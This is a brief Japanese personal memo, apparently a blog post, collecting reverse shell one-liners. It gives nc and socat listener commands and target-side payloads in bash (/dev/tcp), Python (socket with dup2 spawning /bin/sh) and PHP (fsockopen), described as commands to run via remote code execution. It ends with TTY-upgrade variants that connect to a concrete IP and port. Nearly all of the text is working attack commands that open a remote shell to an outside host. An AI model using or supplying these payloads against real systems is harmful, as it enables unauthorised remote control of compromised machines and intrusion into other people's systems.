最近になってReverse Shellをちょっとだけ使う機会があったのだけど、前に学習してたよりいろいろと便利なやり方とか方法がいろいろとあるのを知ったので、ちょっとまとめてみることにした。

1. 受付側のコマンド

実行側のシェルを受け付ける側。listen。

1-1. ncを使う場合

nc -nlvp <port>

1-2. socatを使う場合

socat tcp-listen:<port>,reuseaddr,fork stdout

2. 実行側のコマンド

RCEなどでOSコマンドを実行させる方のコマンド。server。

2-1. bashを使う場合

bash -i 9<>/dev/tcp/<addr>/<port> <&9 >&9 2>&9

2-2. Pythonを使う場合

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<addr>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2-3. phpを使う場合

php -r '$sock=fsockopen("<addr>",<port>);exec("/bin/bash -i <&3 >&3 2>&3");'

3. ttyを利用する場合

Reverse Shellでttyを利用する場合、以下のような組み合わせにすることで利用できるようだ。 特にlisten側でsocatを使うことで、Ctrl+C(Sigint)なども通常のターミナルと同じ感覚で扱えるようになる(一応ncでも動作はするが、Ctrl+Cなどはserver側に送れずncが終了する)。

3-1. listen側

stty raw -echo && socat file:$(tty),raw,unlink-close=0 tcp-listen:5555

3-2. server側

python -c 'import pty; pty.spawn("/bin/bash")' 9<>/dev/tcp/172.20.100.122/5555 <&9 >&9 2>&9 # pythonを利用する場合
script -c 'bash -i' /dev/null 9<>/dev/tcp/172.20.100.122/5555 <&9 >&9 2>&9 # scriptコマンドを利用する場合

scriptでなくても、ttyが払い出されるコマンド(expectなど)であればそれでも代用できそうだ。